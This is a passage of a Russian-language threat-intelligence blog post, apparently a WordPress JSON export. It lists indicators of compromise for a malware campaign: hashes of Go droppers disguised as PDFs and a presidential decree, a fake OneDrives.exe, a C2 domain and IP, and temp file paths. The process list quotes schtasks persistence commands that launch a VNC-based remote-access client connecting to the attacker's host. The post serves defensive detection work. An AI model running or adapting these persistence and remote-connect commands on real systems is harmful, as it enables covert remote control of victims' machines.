493a08471ca2bdb89f980a5b1fb005e31bc1ca714e2da973b708d0b125d6edea<\/p>\n<p>dl02W62Y82w52l62d0.nq42X02g82l12L22i7 (UltraVNC.ini)<br \/> MD5: e265d15a83e52b9ced30f6a9d747b388<br \/> SHA-1: 6e5a802e42674f6c8de74b7bea6024f637ff39e3<br \/> SHA-256: 20b23cc90cbfbef9bb7cedfbb1b75f24a03ba96af8c576263077501814df6376<\/p>\n<p>TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0 (OneDrives.exe)<br \/> MD5: d45bdf072094435bbb534b9a0c254af5<br \/> SHA-1: e1c24d8bfab674937f498701f8b25d07c56dada0<br \/> SHA-256: 2bac8b29b52f7ddd4fd19a1ace8bbc2e4ae4e834a41275fb5865eeb5ab805275<\/p>\n<p>\u0414\u0440\u043e\u043f\u043f\u0435\u0440\u044b \u043d\u0430 Go:<br \/> Pdf.exe<br \/> MD5: 08b6f274e353ce8baba43624eb552736<br \/> SHA-1: 5b1b74b5fe12e11366b63c0d8bce9411330cfb48<br \/> SHA-256: bc96b7ee0ec9b01d6ec7b887ca8da6f452fbcc9203d6ab0a8f8ccfe4fe91900f<\/p>\n<p>Pdf.exe<br \/> MD5: df6accf05af177ac467ef9df45bfd19f<br \/> SHA-1: 12855d9329e3de89475acfeb4d77415fd703a123<br \/> SHA-256: e111527ae3ba900e98fddd61d4be45c24c559d2f6bc9b2ccd327c250d460d11b<\/p>\n<p>Pdf.exe<br \/> MD5: 8ca78dd94dc795db041688a6eedf60a5<br \/> SHA-1: 70c9e8eccd43c6426cb9c86a4f76ad6d99d39dca<br \/> SHA-256: fbd4a8052a69221f27467904f83b6c36fadf0d77043ac9d0e35b2be2e43ea3a2<\/p>\n<p>Pdf.exe (\u0423\u043a\u0430\u0437 \u041f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u0442 11.03.2024 \u2116 181.exe)<br \/> MD5: df6accf05af177ac467ef9df45bfd19f<br \/> SHA-1: 12855d9329e3de89475acfeb4d77415fd703a123<br \/> SHA-256: e111527ae3ba900e98fddd61d4be45c24c559d2f6bc9b2ccd327c250d460d11b<\/p>\n<p>\u0414\u043e\u043c\u0435\u043d (\u04212):<br \/> mailcommunity[.]ru:443<\/p>\n<p>IP-\u0430\u0434\u0440\u0435\u0441:<br \/> 185.139.70[.]84<\/p>\n<h2>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438<\/h2>\n<p><strong>\u041f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c:<\/strong><\/p>\n<ul>\n<li>\n<p>%TEMP%\\5951402583331559.cmd<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\Px69S29l29t79I69v3.ei89I49K79k99b89f2<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\perevod.pdf<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\dl02W62Y82w52l62d0.nq42X02g82l12L22i7<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\UltraVNC.ini<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0<\/p>\n<\/li>\n<li>\n<p>%TEMP%\\OneDrives.exe<\/p>\n<\/li>\n<\/ul>\n<p><strong>\u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b:<\/strong><\/p>\n<ul>\n<li>\n<p>cmd.exe \/c ren 5951402583331559 5951402583331559.cmd<\/p>\n<\/li>\n<li>\n<p>cmd.exe \/c copy \/y &#171;%CD%*.*&#187; &#171;%CD%..&#187;<\/p>\n<\/li>\n<li>\n<p>cmd.exe \/c cd %USERPROFILE%\\AppData\\Local\\Temp &amp; 5951402583331559.cmd<\/p>\n<\/li>\n<li>\n<p>schtasks.exe \/create \/f \/tn &#171;OneDrive Standalone Task-S-2-7-11-9087201647-12801647-72314017-012&#187; \/tr &#171;taskkill \/f \/im OneDrives.exe&#187; \/sc daily \/st 09:11<\/p>\n<\/li>\n<li>\n<p>schtasks.exe \/create \/f \/tn &#171;OneDrive Standalone Task-S-2-7-11-83520748-3029574812-2078745392-102&#187; \/tr &#171;%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe&#187; \/sc daily \/st 09:12<\/p>\n<\/li>\n<li>\n<p>schtasks.exe \/create \/f \/tn &#171;OneDrive Standalone Update Task-S-2-7-11-99120212-424201842-3485024-093&#187; \/tr &#171;%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%%RANDOM% -connect mailcommunity[.]ru:443&#187; \/sc daily \/st 09:13<\/p>\n<\/li>\n<li>\n<p>taskkill.exe \/im OneDrives.exe \/f<\/p>\n<\/li>\n<li>\n<p>OneD<\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-373805","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/373805","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=373805"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/373805\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=373805"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=373805"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=373805"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}